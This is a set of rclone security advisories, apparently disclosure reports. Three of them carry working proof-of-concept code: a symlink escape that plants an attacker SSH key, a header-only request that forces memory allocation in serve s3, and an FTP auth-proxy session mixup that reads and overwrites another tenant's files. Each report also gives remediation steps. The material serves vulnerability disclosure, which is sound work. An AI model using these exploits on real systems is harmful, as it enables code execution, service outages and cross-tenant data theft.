rclone before 1.74.4 fails to strip the X-Amz-Security-Token header when an S3 redirect changes scheme from HTTPS to HTTP on the same host. Attackers can intercept plaintext HTTP traffic to capture AWS STS session tokens sent in request headers.
Summary With -l/--links, rclone serializes symlinks as <name>.rclonelink text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with os.Symlink(<object body>, <dest path>) and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or ../ path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named <name>.rclonelink sorts before <name>/..., rclone creates the escaping symlink first and then writes a following object "inside" it; mkdirAll/OpenFile follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting ~/.ssh/authorizedkeys, ~/.bashrc, or a crontab — i.e. code execution.
Details backend/local/local.go, Object.Update(): go } else { out = nopWriterCloser{&symlinkData} // body of <name>.rclonelink = attacker data } ... if o.translatedLink { if err == nil { if , err := os.Lstat(o.path); err == nil { os.Remove(o.path) } // Use the contents for the copied object to create a symlink err = os.Symlink(symlinkData.String(), o.path) // <-- target NEVER validated (abs / .. allowed) } } symlinkData is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (mkdirAll() → file.MkdirAll, then file.OpenFile(..., OCREATE)) follows existing symlink components with no ONOFOLLOW, so a file written under the planted symlinked directory escapes the destination.
PoC 1) Get the official stable binary: curl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip unzip -j rclone-v1.74.3-linux-amd64.zip '/rclone' -d . # ./rclone -> v1.74.3 2) Create an attacker-controlled "remote" (two objects) and a victim layout: mkdir -p evil/pwn dest victimhome/.ssh printf '%s' "$PWD/victimhome/.ssh" > evil/pwn.rclonelink # body = abs path OUTSIDE dest printf 'ssh-ed25519 AAAAATTACKERKEY pwned\n' > evil/pwn/authorizedkeys ls -l victimhome/.ssh # empty (before) 3) Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share): cd evil && python3 -m http.server 38080 --bind 127.0.0.1 4) VICTIM ACTION — back up the untrusted remote preserving symlinks: ./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v 5) Observe — a file landed OUTSIDE ./dest: ls -l dest/pwn # dest/pwn -> .../victimhome/.ssh (symlink escapes dest) cat victimhome/.ssh/authorizedkeys # ssh-ed25519 AAAAATTACKERKEY pwned <-- written outside dest pwn.rclonelink sorts before pwn/authorizedkeys, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites ~/.ssh/authorizedkeys, ~/.bashrc, or a crontab → code execution.
Impact An attacker who controls the contents of any remote a victim syncs with -l/--links gains arbitrary file write as the victim user, anywhere that user can write. Overwriting ~/.ssh/authorizedkeys, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).
Remediation In Object.Update() reject symlink targets that are absolute or escape the destination root before calling os.Symlink (resolve filepath.Join(dir, target) and require it to stay within the configured root, or refuse absolute/.. targets), and write objects with ONOFOLLOW on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a .rclonelink with target /tmp/... and a sibling file, asserting nothing is written outside the destination.
Summary
In streamed multipart mode, serve s3 passes the request's declared part length to multipart.NewRW().Reserve(contentLength) before reading any part data. Reserve immediately obtains enough 1 MiB pool pages for the entire declared length. The request handler therefore allocates attacker-selected memory based only on Content-Length or X-Amz-Decoded-Content-Length; the client does not need to transmit the corresponding body.
--multipart-streaming-buffer-limit does not stop the allocation for the current expected part or for one oversized part when the buffer is empty. That exception is intentional to guarantee upload progress, and the flag's short help is scoped to out-of-order parts; this report therefore does not treat the option as a total memory cap. The security issue is the absence of a separate safe maximum or incremental allocation: a small request header can cause an arbitrarily large reservation and exhaust the process or host.
The default S3 configuration allows anonymous access when no authkey is set, so an unauthenticated network client can reach the path in such deployments. Authenticated deployments require a valid S3 credential. Confirmed affected targets are v1.75.0 and development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e, both of which include streamed multipart support.
Affected Assets & Attack Surface
- cmd/serve/s3/s3.go:40-46 defines the streaming buffer limit and describes it as a limit for out-of-order parts. - cmd/serve/s3/server.go:67-101 permits anonymous requests when AuthKey is empty and configures S3 authentication otherwise. - cmd/serve/s3/multipart.go:183-209 admits the declared part size and calls Reserve(contentLength) before io.Copy reads the body. - cmd/serve/s3/multipart.go:220-238 always admits the current expected part and one oversized part when the buffer is empty, even when size > bufferLimit. - lib/multipart/multipart.go:23-24 creates an RW backed by the global memory pool. - lib/pool/readerwriter.go:64-76 rounds the declared length to pool pages and immediately calls GetN. - lib/pool/pool.go:18-23 sets the global pool page size to 1 MiB. - lib/pool/pool.go:223-260 allocates every requested page in GetN. - github.com/rclone/gofakes3@v0.0.7/gofakes3.go:952-1004 parses the request length without an upper bound, including the decoded-length header used for streaming signatures. - github.com/rclone/gofakes3@v0.0.7/gofakes3.go:1021-1023 passes the declared length and unread request body to rclone's streaming UploadPart implementation. - Network attack surface: S3 CreateMultipartUpload followed by UploadPart against a backend eligible for streamed multipart uploads.
Technical Root Cause Analysis
The admission counter and the allocator both use the attacker-controlled contentLength, while the admission rules allow the current part regardless of its size:
go if up.bufferLimit <= 0 || partNumber <= up.nextPart || up.buffered == 0 || up.buffered+size <= up.bufferLimit { up.buffered += size return nil }
Part 1 of a new upload satisfies both partNumber <= up.nextPart and up.buffered == 0, regardless of size. UploadPart then executes:
go rw := multipart.NewRW().Reserve(contentLength)
Reserve calculates the page count and calls pool.GetN. With the default global pool, GetN allocates a 1 MiB byte slice for every missing page. This occurs before io.Copy attempts to read the request body.
The HTTP layer does not independently cap a multipart part length. GoFakeS3 accepts Content-Length as an int64; signed streaming requests can replace it with X-Amz-Decoded-Content-Length. An attacker can send the headers and keep the body idle, retaining the reservation. Multiple uploads or connections multiply the effect.
The documented statement that memory is bounded by “parts in flight” is not an effective byte bound when one part can have an attacker-declared size and is fully preallocated. AWS's normal 5 GiB maximum part size would still be unsafe to reserve on most rclone hosts, and this dependency path does not enforce that maximum before allocation.
Setting the global --max-buffer-memory may change the symptom from allocation to waiting on the global semaphore. It is not a complete fix: the acquisition uses context.Background(), and a request larger than the semaphore capacity cannot ever acquire its requested weight, leaving a handler blocked until process termination.
Proof of Concept & Evidence
Bounded regression test
The following test proves both the limit bypass and immediate allocation without stressing the host. Add it as cmd/serve/s3/securityregressiontest.go:
go package s3
import ( "testing"
"github.com/rclone/rclone/lib/multipart" "github.com/rclone/rclone/lib/pool" "github.com/stretchr/testify/require" )
func TestOversizedCurrentPartReservation(t testing.T) { const ( limit = int64(1 << 20) // 1 MiB configured limit size = int64(16 << 20) // 16 MiB attacker declaration )
up := newMultipartUpload( "bucket", "object", "bucket/object", "bucket/object", nil, limit, )
require.NoError(t, up.waitForTurn(1, size)) require.Equal(t, size, up.buffered)
before := pool.Global().InUse() rw := multipart.NewRW().Reserve(size) t.Cleanup(func() { require.NoError(t, rw.Close()) }) after := pool.Global().InUse()
require.GreaterOrEqual(t, after-before, int(size/int64(pool.BufferSize)), ) }
Run:
sh go test ./cmd/serve/s3 -run '^TestOversizedCurrentPartReservation$' -count=1 -v
Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:
text === RUN TestOversizedCurrentPartReservation --- PASS: TestOversizedCurrentPartReservation (0.00s) PASS
The passing test means a 16 MiB current part is admitted against a 1 MiB limit and immediately consumes at least sixteen 1 MiB pool pages.
Loopback HTTP validation
Use a fresh process and a disposable root. The 64 MiB value below demonstrates the effect safely; do not substitute an out-of-memory value on a production host.
sh mkdir -p /tmp/rclone-s3-root/bucket
./rclone serve s3 /tmp/rclone-s3-root \ --addr 127.0.0.1:8080 \ --multipart-streaming-buffer-limit 1Mi
In another terminal:
sh python3 - <<'PY' import http.client import socket import time import xml.etree.ElementTree as ET from urllib.parse import quote
host = "127.0.0.1" port = 8080
Anonymous mode is intentional here and matches a supported default setup. c = http.client.HTTPConnection(host, port, timeout=5) c.request("POST", "/bucket/object?uploads", body=b"", headers={"Content-Length": "0"}) r = c.getresponse() body = r.read() assert r.status == 200, (r.status, body) uploadid = ET.fromstring(body).findtext("{}UploadId") assert uploadid c.close()
declared = 64 1024 1024 path = "/bucket/object?partNumber=1&uploadId=" + quote(uploadid, safe="")
s = socket.createconnection((host, port), timeout=5) s.sendall(( f"PUT {path} HTTP/1.1\r\n" f"Host: {host}:{port}\r\n" f"Content-Length: {declared}\r\n" "Connection: close\r\n" "\r\n" ).encode("ascii"))
No body bytes are sent. Inspect the fresh rclone process while this waits: the handler has reserved 64 pool pages despite the 1 MiB reorder limit. time.sleep(5) s.close() PY
Closing the socket allows the handler to return IncompleteBody and release the pages. Keeping multiple sockets open retains multiple reservations. A sufficiently large declared length can terminate the process before a response is returned.
The final automated validation performed this sequence through the real HTTP listener rather than calling waitForTurn or Reserve directly:
- Started an anonymous serve s3 server on loopback with a local streaming-capable backend. - Set MultipartStreamingBufferLimit to 1 MiB. - Created a multipart upload with an HTTP POST and parsed its returned upload ID. - Recorded pool.Global().InUse() after upload creation. - Opened a raw TCP connection and sent an UploadPart request declaring Content-Length: 16777216. - Sent no request-body bytes. - Observed the in-use count increase by at least sixteen 1 MiB pages while the connection remained open. - Closed the connection, producing the expected short-body unexpected EOF log rather than completing an upload.
The central assertion was:
go const declared = int64(16 << 20) baseline := pool.Global().InUse()
connection, err := net.DialTimeout("tcp", server.Addr().String(), 5time.Second) require.NoError(t, err) , err = fmt.Fprintf(connection, "PUT %s HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n", partPath, server.Addr().String(), declared) require.NoError(t, err)
wantPages := int(declared / int64(pool.BufferSize)) require.Eventually(t, func() bool { return pool.Global().InUse()-baseline >= wantPages }, 5time.Second, 10time.Millisecond)
It passed on Windows/amd64 with Go 1.26.2:
text === RUN TestSecurityValidationS3MultipartHeaderAllocatesBeforeBody NOTICE: serve s3: No auth provided so allowing anonymous access ERROR : serve s3: unexpected EOF --- PASS: TestSecurityValidationS3MultipartHeaderAllocatesBeforeBody (0.06s)
This demonstrates network reachability, header-only amplification, admission beyond the configured 1 MiB reorder limit, and actual allocation. The test deliberately capped the reservation at 16 MiB; it did not attempt to exhaust the validation host. The same code path reserves pages linearly as the declared length increases.
Impact Assessment
A network client can force the S3 server to reserve memory proportional to an unverified request header before paying the bandwidth cost of sending the declared body. One large part can exceed the out-of-order buffering limit; concurrent uploads multiply memory consumption.
The directly observed primitive is memory reservation proportional to an unverified header before any body bytes arrive. At a sufficiently large declared length, or across concurrent requests, this can exhaust process or host memory, terminate the process, or permanently block request goroutines when the global memory semaphore cannot satisfy an oversized acquisition. Those outcomes cause loss of S3 service availability; no confidentiality or integrity impact is required.
Unauthenticated exploitation applies when the operator uses the documented anonymous S3 mode. With authkey, the attacker must possess an accepted key. Binding to loopback or a trusted management network removes untrusted network reachability but does not correct the resource-accounting defect.
Remediation Guidance
Do not reserve the declared content length before reading verified bytes. Separate the current in-order part from out-of-order buffering:
- For partNumber == nextPart, stream the request body directly into the upload pipe while computing MD5. This path does not need a full-part memory buffer merely to return the ETag after the body has streamed. - For out-of-order parts, allocate incrementally as body bytes arrive and charge each page against the per-upload budget before allocation. Apply backpressure, spool to a bounded temporary file, or reject the request when the budget is exhausted. - Remove Reserve(contentLength) from the untrusted HTTP path. If preallocation remains as an optimization, cap it to a small trusted amount and grow only after bytes are received and accounted. - Enforce an explicit maximum part size before allocation, including both Content-Length and X-Amz-Decoded-Content-Length. Match the intended S3 compatibility limit and return an S3-compatible error such as EntityTooLarge or InvalidRequest. - Reject negative, overflowing, or platform-int-unrepresentable page counts before arithmetic or conversion. - Apply a total server-wide budget across uploads in addition to the per-upload reorder budget. The budget acquisition must use the request context and must fail immediately when a single request exceeds capacity; do not wait forever on context.Background() for an impossible weight. - Limit concurrent multipart uploads and idle request-body time so a client cannot retain reservations indefinitely. - Reconcile the option documentation with the actual guarantee. If one part can exceed the reorder limit for compatibility, state that explicitly, but still enforce an independent safe maximum or incremental allocation.
An issue was discovered in Rclone before 1.53.3. Due to the use of a weak random number generator, the password generator has been producing weak passwords with much less entropy than advertised. The suggested passwords depend deterministically on the time the second rclone was started. This limits the entropy of the passwords enormously. These passwords are often used in the crypt backend for encryption of data. It would be possible to make a dictionary of all possible passwords with about 38 million entries per password length. This would make decryption of secret material possible with a plausible amount of effort. NOTE: all passwords generated by affected versions should be changed.
In Rclone 1.42, use of "rclone sync" to migrate data between two Google Cloud Storage buckets might allow attackers to trigger the transmission of any URL's content to Google, because there is no validation of a URL field received from the Google Cloud Storage API server, aka a "RESTLESS" issue.
Summary
The FTP auth-proxy driver stores one obscured password per username in a server-wide map. It does not bind the credential or returned VFS to the authenticated FTP session. If two accepted credentials use the same username but resolve to different proxy backends, the later login overwrites the map entry. Subsequent operations on the first, still-authenticated session are re-authorized with the later session's password and execute against the later session's backend.
This is not exploitable in every auth-proxy deployment. It requires a proxy that accepts distinct credentials for the same username and returns different roots or backend configurations, plus a later login while the attacker's session remains open. The behavior is nevertheless within the supported model: cmd/serve/proxy keys VFS entries by username, authentication material, and client IP specifically so a new credential can produce a fresh backend.
Confirmed affected versions are v1.75.0 and development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e. The username-global map was introduced in v1.64.0, but versions before credential-aware proxy caching may require cache expiration or different timing and are not claimed as confirmed here.
Affected Assets & Attack Surface
- cmd/serve/ftp/ftp.go:170-178 defines userPass map[string]string as driver-global state keyed only by username. - cmd/serve/ftp/ftp.go:318-335 validates (user, pass) through the proxy and then overwrites d.userPass[user]. - cmd/serve/ftp/ftp.go:352-373 retrieves the current map entry by Sess.LoginUser() for every filesystem operation and calls the proxy again with that password. - cmd/serve/ftp/ftp.go:376 onward routes FTP filesystem operations through getVFS, including stat, listing, retrieval, upload, rename, and deletion. - cmd/serve/proxy/proxy.go:114-119 documents credential- and client-IP-aware backend caching. - cmd/serve/proxy/proxy.go:235-243 derives a cache key from username, credential, and client IP. - cmd/serve/proxy/proxy.go:328-365 resolves and verifies the VFS using that composite identity. - Attack surface: any rclone serve ftp --auth-proxy ... deployment in which the proxy accepts more than one credential for a shared username and those credentials do not have equivalent backend authority.
Technical Root Cause Analysis
Authentication initially uses the correct session data:
go d.proxy.Call(user, pass, false, sctx.Sess.RemoteAddr().String())
After success, the driver discards the returned VFS and VFS cache key. It obscures the password and stores it in:
go d.userPass[user] = oPass
For each later FTP operation, getVFS knows only the session's username. It looks up whichever password was most recently stored for that username and calls the proxy again. The mutex prevents a Go data race but does not provide session isolation.
The authorization sequence is therefore:
1. Session A authenticates as shared with credential A and receives backend A. 2. Session B authenticates as shared with credential B and overwrites userPass["shared"]. 3. Session A performs another FTP command. 4. getVFS uses credential B, not the credential that authenticated Session A. 5. The proxy returns backend B, and Session A's command runs there.
This creates a cross-session identity mismatch; no race condition is required. Credential-dependent routing is not an artificial assumption added by the PoC: the proxy cache deliberately distinguishes the same username with different authentication material. A proxy that maps username alone, rejects all concurrent alternate credentials, or binds credentials to client IP in a way that rejects the replay is not exploitable by this sequence.
Proof of Concept & Evidence
Create two roots and a proxy that uses the password as a tenant token while requiring the same FTP username:
sh mkdir -p /tmp/rclone-ftp-attacker /tmp/rclone-ftp-victim printf 'attacker-only\n' > /tmp/rclone-ftp-attacker/attacker.txt printf 'victim-secret\n' > /tmp/rclone-ftp-victim/victim.txt
cat > /tmp/rclone-ftp-proxy.py <<'PY' #!/usr/bin/env python3 import json import sys
request = json.load(sys.stdin) roots = { "attacker-token": "/tmp/rclone-ftp-attacker", "victim-token": "/tmp/rclone-ftp-victim", }
if request.get("user") != "shared" or request.get("pass") not in roots: sys.exit(1)
print(json.dumps({ "type": "local", "root": roots[request["pass"]], })) PY chmod 700 /tmp/rclone-ftp-proxy.py
Start the FTP server on loopback:
sh ./rclone serve ftp \ --auth-proxy "python3 /tmp/rclone-ftp-proxy.py" \ --addr 127.0.0.1:2121 \ --passive-port 30000-30010
In another terminal, keep both sessions open and trigger the overwrite:
sh python3 - <<'PY' import ftplib import io
def connect(password): ftp = ftplib.FTP() ftp.connect("127.0.0.1", 2121, timeout=5) ftp.login("shared", password) return ftp
attacker = connect("attacker-token")
Establish the attacker's original authority. original = bytearray() attacker.retrbinary("RETR attacker.txt", original.extend) assert original == b"attacker-only\n"
try: attacker.size("victim.txt") raise AssertionError("victim file unexpectedly visible before overwrite") except ftplib.errorperm: pass
A second principal logs in with the same username and a different token. victim = connect("victim-token") assert victim.size("victim.txt") > 0
The first session is now silently rebound to the victim backend. stolen = bytearray() attacker.retrbinary("RETR victim.txt", stolen.extend) print(stolen.decode().strip()) attacker.storbinary("STOR victim.txt", io.BytesIO(b"modified-by-first-session\n"))
attacker.quit() victim.quit() PY
grep -F modified-by-first-session /tmp/rclone-ftp-victim/victim.txt
Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:
- Before the victim login, the attacker session resolves only the attacker root. - After the victim login, the already-authenticated attacker session reads victim.txt. - A write through the attacker session overwrites the file in the victim root.
The complete automated validation used the actual FTP listener, two simultaneous github.com/jlaffaye/ftp clients, and an external auth-proxy process that mapped the two tokens to separate temporary local roots. It verified the precondition that victim.txt was unavailable to the first session before the second login, then verified both cross-root read and overwrite after the login. It passed on Windows/amd64 with Go 1.26.2:
text === RUN TestSecurityValidationFTPAuthProxyCrossSession --- PASS: TestSecurityValidationFTPAuthProxyCrossSession (2.11s)
Both PoC sessions use loopback, so they have the same client IP and the test isolates the credential-keying defect. Across different client IPs, the issue remains reachable when the proxy does not bind credentials to source addresses. If the proxy enforces such a binding, replay of the victim credential may fail and that deployment is not exploitable by this sequence.
Impact Assessment
A low-privileged user with a valid auth-proxy credential can gain the read, write, and delete authority of another accepted credential sharing the same FTP username. The unauthorized capability is direct: the first session operates on the second credential's VFS without authenticating with that credential.
The maximum impact is cross-tenant disclosure, modification, and deletion of all objects exposed by the victim backend. Actual severity is lower when all credentials for a username intentionally represent the same principal and equivalent root. The victim or an automated client must log in after the attacker, and the attacker must keep the original FTP session open.
This is not a generic FTP username-enumeration issue and does not give an unauthenticated party access. It is a session-isolation failure in auth-proxy mode.
Remediation Guidance
Bind the credential or backend identity to the FTP session, never to the username. goftp.io/server/v2 exposes sctx.Sess.Data, which persists across commands for one session and is released with that session.
A compatible fix is:
1. On successful CheckPasswd, store a private session binding in sctx.Sess.Data. The binding can contain the obscured password and username, or another opaque value sufficient to resolve the same proxy entry. 2. In getVFS, retrieve only that session binding. Never consult a driver-global username map. 3. If re-authentication occurs on the same FTP session, replace the binding only after the new authentication succeeds; clear it on a failed authentication attempt where the library keeps the session alive. 4. Preserve proxy cache expiry semantics. Holding a VFS pointer forever would prevent the existing cache from expiring it; storing the session's obscured credential and re-calling Proxy.Call retains current expiry behavior while maintaining identity. 5. Remove userPass, userPassMu, and the associated global credential lifetime after the session-based path is in place.
Avoid keying a replacement map by remote address, username, or client IP. Multiple sessions can share all of those values. If a library limitation makes Session.Data unsuitable, use the ftp.Session pointer as the key and add reliable disconnect cleanup; session-owned state is preferable because cleanup is automatic.
rclone serve s3 before 1.74.4 contains a path traversal vulnerability that allows attackers to read and overwrite root-level files by using dot-dot segments in S3 object keys. Attackers can send requests with object keys like ../root-secret.txt to escape the bucket namespace and access files in the serve root directory.
rclone before v1.75.0 fails to sanitize IBM IAM bearer tokens and SSE-C encryption keys during S3 redirect callbacks, allowing credentials to be preserved across scheme or host changes. Attackers observing network traffic from a trusted endpoint can capture reusable IBM IAM tokens on same-host HTTPS-to-HTTP downgrades or SSE-C keys on cross-origin redirects to access protected S3 objects.
rclone before v1.75.0 contains a denial of service vulnerability in the WebDAV TUS creation handler that dereferences a nil response before checking for transport errors. A malicious or compromised configured endpoint can reset connections during TUS uploads to trigger a panic that terminates unrecovered goroutines and halts unrelated work in long-lived processes.
rclone versions before v1.75.0 fail to reject transport downgrades in redirect handling, allowing Basic authorization and Cookie headers to be replayed over plaintext HTTP after same-host HTTPS-to-HTTP redirects. An on-path attacker observing the plaintext hop can capture and reuse credentials to perform WebDAV operations with the compromised account's permissions.
rclone before 1.74.4 fails to mask special permission bits when applying source-supplied mode metadata in the local backend, allowing attackers to set setuid/setgid bits on attacker-controlled files. When copying with metadata preservation from an untrusted remote, attackers can plant a setuid binary that escalates privileges to root if rclone runs as root, or to the service account user otherwise.